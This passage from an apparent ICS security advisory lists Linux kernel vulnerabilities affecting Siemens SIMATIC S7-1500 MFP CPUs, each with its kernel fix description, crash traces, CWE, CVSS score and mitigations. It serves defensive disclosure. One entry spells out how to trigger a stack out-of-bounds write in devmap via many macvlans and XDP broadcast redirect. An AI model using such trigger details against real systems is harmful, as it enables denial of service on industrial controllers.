pfifo_fast_reset+0x14d/0x580 qdisc_reset+0x9e/0x5f0 netif_set_real_num_tx_queues+0x303/0x840 virtnet_set_channels+0x1bf/0x260 [virtio_net] ethnl_set_channels+0x684/0xae0 ethnl_default_set_doit+0x31a/0x890 ... Serialize qdisc_reset_all_tx_gt() against the lockless dequeue path by taking qdisc-&gt;seqlock for TCQ_F_NOLOCK qdiscs, matching the serialization model already used by dev_reset_queue(). Additionally clear QDISC_STATE_NON_EMPTY after reset so the qdisc state reflects an empty queue, avoiding needless re-scheduling.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23340">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/364.html">CWE-364 Signal Handler Race Condition</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23343</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: xdp: produce a warning when calculated tailroom is negative Many ethernet drivers report xdp Rx queue frag size as being the same as DMA write size. However, the only user of this field, namely bpf_xdp_frags_increase_tail(), clearly expects a truesize. Such difference leads to unspecific memory corruption issues under certain circumstances, e.g. in ixgbevf maximum DMA write size is 3 KB, so when running xskxceiver's XDP_ADJUST_TAIL_GROW_MULTI_BUFF, 6K packet fully uses all DMA-writable space in 2 buffers. This would be fine, if only rxq-&gt;frag_size was properly set to 4K, but value of 3K results in a negative tailroom, because there is a non-zero page offset. We are supposed to return -EINVAL and be done with it in such case, but due to tailroom being stored as an unsigned int, it is reported to be somewhere near UINT_MAX, resulting in a tail being grown, even if the requested offset is too much (it is around 2K in the abovementioned test). This later leads to all kinds of unspecific calltraces. [ 7340.337579] xskxceiver[1440]: segfault at 1da718 ip 00007f4161aeac9d sp 00007f41615a6a00 error 6 [ 7340.338040] xskxceiver[1441]: segfault at 7f410000000b ip 00000000004042b5 sp 00007f415bffecf0 error 4 [ 7340.338179] in libc.so.6[61c9d,7f4161aaf000+160000] [ 7340.339230] in xskxceiver[42b5,400000+69000] [ 7340.340300] likely on CPU 6 (core 0, socket 6) [ 7340.340302] Code: ff ff 01 e9 f4 fe ff ff 0f 1f 44 00 00 4c 39 f0 74 73 31 c0 ba 01 00 00 00 f0 0f b1 17 0f 85 ba 00 00 00 49 8b 87 88 00 00 00 &lt;4c&gt; 89 70 08 eb cc 0f 1f 44 00 00 48 8d bd f0 fe ff ff 89 85 ec fe [ 7340.340888] likely on CPU 3 (core 0, socket 3) [ 7340.345088] Code: 00 00 00 ba 00 00 00 00 be 00 00 00 00 89 c7 e8 31 ca ff ff 89 45 ec 8b 45 ec 85 c0 78 07 b8 00 00 00 00 eb 46 e8 0b c8 ff ff &lt;8b&gt; 00 83 f8 69 74 24 e8 ff c7 ff ff 8b 00 83 f8 0b 74 18 e8 f3 c7 [ 7340.404334] Oops: general protection fault, probably for non-canonical address 0x6d255010bdffc: 0000 [#1] SMP NOPTI [ 7340.405972] CPU: 7 UID: 0 PID: 1439 Comm: xskxceiver Not tainted 6.19.0-rc1+ #21 PREEMPT(lazy) [ 7340.408006] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.17.0-5.fc42 04/01/2014 [ 7340.409716] RIP: 0010:lookup_swap_cgroup_id+0x44/0x80 [ 7340.410455] Code: 83 f8 1c 73 39 48 ba ff ff ff ff ff ff ff 03 48 8b 04 c5 20 55 fa bd 48 21 d1 48 89 ca 83 e1 01 48 d1 ea c1 e1 04 48 8d 04 90 &lt;8b&gt; 00 48 83 c4 10 d3 e8 c3 cc cc cc cc 31 c0 e9 98 b7 dd 00 48 89 [ 7340.412787] RSP: 0018:ffffcc5c04f7f6d0 EFLAGS: 00010202 [ 7340.413494] RAX: 0006d255010bdffc RBX: ffff891f477895a8 RCX: 0000000000000010 [ 7340.414431] RDX: 0001c17e3fffffff RSI: 00fa070000000000 RDI: 000382fc7fffffff [ 7340.415354] RBP: 00fa070000000000 R08: ffffcc5c04f7f8f8 R09: ffffcc5c04f7f7d0 [ 7340.416283] R10: ffff891f4c1a7000 R11: ffffcc5c04f7f9c8 R12: ffffcc5c04f7f7d0 [ 7340.417218] R13: 03ffffffffffffff R14: 00fa06fffffffe00 R15: ffff891f47789500 [ 7340.418229] FS: 0000000000000000(0000) GS:ffff891ffdfaa000(0000) knlGS:0000000000000000 [ 7340.419489] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 7340.420286] CR2: 00007f415bfffd58 CR3: 0000000103f03002 CR4: 0000000000772ef0 [ 7340.421237] PKRU: 55555554 [ 7340.421623] Call Trace: [ 7340.421987] [ 7340.422309] ? softleaf_from_pte+0x77/0xa0 [ 7340.422855] swap_pte_batch+0xa7/0x290 [ 7340.423363] zap_nonpresent_ptes.constprop.0.isra.0+0xd1/0x270 [ 7340.424102] zap_pte_range+0x281/0x580 [ 7340.424607] zap_pmd_range.isra.0+0xc9/0x240 [ 7340.425177] unmap_page_range+0x24d/0x420 [ 7340.425714] unmap_vmas+0xa1/0x180 [ 7340.426185] exit_mmap+0xe1/0x3b0 [ 7340.426644] __mmput+0x41/0x150 [ 7340.427098] exit_mm+0xb1/0x110 [ 7340.427539] do_exit+0x1b2/0x460 [ 7340.427992] do_group_exit+0x2d/0xc0 [ 7340.428477] get_signal+0x79d/0x7e0 [ 7340.428957] arch_do_signal_or_restart+0x34/0x100 [ 7340.429571] exit_to_user_mode_loop+0x8e/0x4c0 [ 7340.430159] do_syscall_64+0x188/ ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23343">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23351</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_set_pipapo: split gc into unlink and reclaim phase Yiming Qian reports Use-after-free in the pipapo set type: Under a large number of expired elements, commit-time GC can run for a very long time in a non-preemptible context, triggering soft lockup warnings and RCU stall reports (local denial of service). We must split GC in an unlink and a reclaim phase. We cannot queue elements for freeing until pointers have been swapped. Expired elements are still exposed to both the packet path and userspace dumpers via the live copy of the data structure. call_rcu() does not protect us: dump operations or element lookups starting after call_rcu has fired can still observe the free'd element, unless the commit phase has made enough progress to swap the clone and live pointers before any new reader has picked up the old version. This a similar approach as done recently for the rbtree backend in commit 35f83a75529a ("netfilter: nft_set_rbtree: don't gc elements on insert").</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23351">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23359</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Fix stack-out-of-bounds write in devmap get_upper_ifindexes() iterates over all upper devices and writes their indices into an array without checking bounds. Also the callers assume that the max number of upper devices is MAX_NEST_DEV and allocate excluded_devices[1+MAX_NEST_DEV] on the stack, but that assumption is not correct and the number of upper devices could be larger than MAX_NEST_DEV (e.g., many macvlans), causing a stack-out-of-bounds write. Add a max parameter to get_upper_ifindexes() to avoid the issue. When there are too many upper devices, return -EOVERFLOW and abort the redirect. To reproduce, create more than MAX_NEST_DEV(8) macvlans on a device with an XDP program attached using BPF_F_BROADCAST | BPF_F_EXCLUDE_INGRESS. Then send a packet to the device to trigger the XDP redirect path.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23359">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23365</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: usb: kalmia: validate USB endpoints The kalmia driver should validate that the device it is probing has the proper number and types of USB endpoints it is expecting before it binds to it. If a malicious device were to not have the same urbs the driver will crash later on when it blindly accesses these endpoints.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23365">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/1287.html">CWE-1287 Improper Validation of Specified Type of Input</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23368</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: phy: register phy led_triggers during probe to avoid AB-BA deadlock There is an AB-BA deadlock when both LEDS_TRIGGER_NETDEV and LED_TRIGGER_PHY are enabled: [ 1362.049207] [&lt;8054e4b8&gt;] led_trigger_register+0x5c/0x1fc &lt;-- Trying to get lock "triggers_list_lock" via down_write(&amp;triggers_list_lock); [ 1362.054536] [&lt;80662830&gt;] phy_led_triggers_register+0xd0/0x234 [ 1362.060329] [&lt;8065e200&gt;] phy_attach_direct+0x33c/0x40c [ 1362.065489] [&lt;80651fc4&gt;] phylink_fwnode_phy_connect+0x15c/0x23c [ 1362.071480] [&lt;8066ee18&gt;] mtk_open+0x7c/0xba0 [ 1362.075849] [&lt;806d714c&gt;] __dev_open+0x280/0x2b0 [ 1362.080384] [&lt;806d7668&gt;] __dev_change_flags+0x244/0x24c [ 1362.085598] [&lt;806d7698&gt;] dev_change_flags+0x28/0x78 [ 1362.090528] [&lt;807150e4&gt;] dev_ioctl+0x4c0/0x654 &lt;-- Hold lock "rtnl_mutex" by calling rtnl_lock(); [ 1362.094985] [&lt;80694360&gt;] sock_ioctl+0x2f4/0x4e0 [ 1362.099567] [&lt;802e9c4c&gt;] sys_ioctl+0x32c/0xd8c [ 1362.104022] [&lt;80014504&gt;] syscall_common+0x34/0x58 Here LED_TRIGGER_PHY is registering LED triggers during phy_attach while holding RTNL and then taking triggers_list_lock. [ 1362.191101] [&lt;806c2640&gt;] register_netdevice_notifier+0x60/0x168 &lt;-- Trying to get lock "rtnl_mutex" via rtnl_lock(); [ 1362.197073] [&lt;805504ac&gt;] netdev_trig_activate+0x194/0x1e4 [ 1362.202490] [&lt;8054e28c&gt;] led_trigger_set+0x1d4/0x360 &lt;-- Hold lock "triggers_list_lock" by down_read(&amp;triggers_list_lock); [ 1362.207511] [&lt;8054eb38&gt;] led_trigger_write+0xd8/0x14c [ 1362.212566] [&lt;80381d98&gt;] sysfs_kf_bin_write+0x80/0xbc [ 1362.217688] [&lt;8037fcd8&gt;] kernfs_fop_write_iter+0x17c/0x28c [ 1362.223174] [&lt;802cbd70&gt;] vfs_write+0x21c/0x3c4 [ 1362.227712] [&lt;802cc0c4&gt;] ksys_write+0x78/0x12c [ 1362.232164] [&lt;80014504&gt;] syscall_common+0x34/0x58 Here LEDS_TRIGGER_NETDEV is being enabled on an LED. It first takes triggers_list_lock and then RTNL. A classical AB-BA deadlock. phy_led_triggers_registers() does not require the RTNL, it does not make any calls into the network stack which require protection. There is also no requirement the PHY has been attached to a MAC, the triggers only make use of phydev state. This allows the call to phy_led_triggers_registers() to be placed elsewhere. PHY probe() and release() don't hold RTNL, so solving the AB-BA deadlock.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23368">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23370</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: platform/x86: dell-wmi-sysman: Don't hex dump plaintext password data set_new_password() hex dumps the entire buffer, which contains plaintext password data, including current and new passwords. Remove the hex dump to avoid leaking credentials.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23370">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256 Plaintext Storage of a Password</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23378</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net/sched: act_ife: Fix metalist update behavior Whenever an ife action replace changes the metalist, instead of replacing the old data on the metalist, the current ife code is appending the new metadata. Aside from being innapropriate behavior, this may lead to an unbounded addition of metadata to the metalist which might cause an out of bounds error when running the encode op: [ 138.423369][ C1] ================================================================== [ 138.424317][ C1] BUG: KASAN: slab-out-of-bounds in ife_tlv_meta_encode (net/ife/ife.c:168) [ 138.424906][ C1] Write of size 4 at addr ffff8880077f4ffe by task ife_out_out_bou/255 [ 138.425778][ C1] CPU: 1 UID: 0 PID: 255 Comm: ife_out_out_bou Not tainted 7.0.0-rc1-00169-gfbdfa8da05b6 #624 PREEMPT(full) [ 138.425795][ C1] Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 [ 138.425800][ C1] Call Trace: [ 138.425804][ C1] [ 138.425808][ C1] dump_stack_lvl (lib/dump_stack.c:122) [ 138.425828][ C1] print_report (mm/kasan/report.c:379 mm/kasan/report.c:482) [ 138.425839][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 138.425844][ C1] ? __virt_addr_valid (./arch/x86/include/asm/preempt.h:95 (discriminator 1) ./include/linux/rcupdate.h:975 (discriminator 1) ./include/linux/mmzone.h:2207 (discriminator 1) arch/x86/mm/physaddr.c:54 (discriminator 1)) [ 138.425853][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:168) [ 138.425859][ C1] kasan_report (mm/kasan/report.c:221 mm/kasan/report.c:597) [ 138.425868][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:168) [ 138.425878][ C1] kasan_check_range (mm/kasan/generic.c:186 (discriminator 1) mm/kasan/generic.c:200 (discriminator 1)) [ 138.425884][ C1] __asan_memset (mm/kasan/shadow.c:84 (discriminator 2)) [ 138.425889][ C1] ife_tlv_meta_encode (net/ife/ife.c:168) [ 138.425893][ C1] ? ife_tlv_meta_encode (net/ife/ife.c:171) [ 138.425898][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 138.425903][ C1] ife_encode_meta_u16 (net/sched/act_ife.c:57) [ 138.425910][ C1] ? __pfx_do_raw_spin_lock (kernel/locking/spinlock_debug.c:114) [ 138.425916][ C1] ? __asan_memcpy (mm/kasan/shadow.c:105 (discriminator 3)) [ 138.425921][ C1] ? __pfx_ife_encode_meta_u16 (net/sched/act_ife.c:45) [ 138.425927][ C1] ? srso_alias_return_thunk (arch/x86/lib/retpoline.S:221) [ 138.425931][ C1] tcf_ife_act (net/sched/act_ife.c:847 net/sched/act_ife.c:879) To solve this issue, fix the replace behavior by adding the metalist to the ife rcu data structure.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23378">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
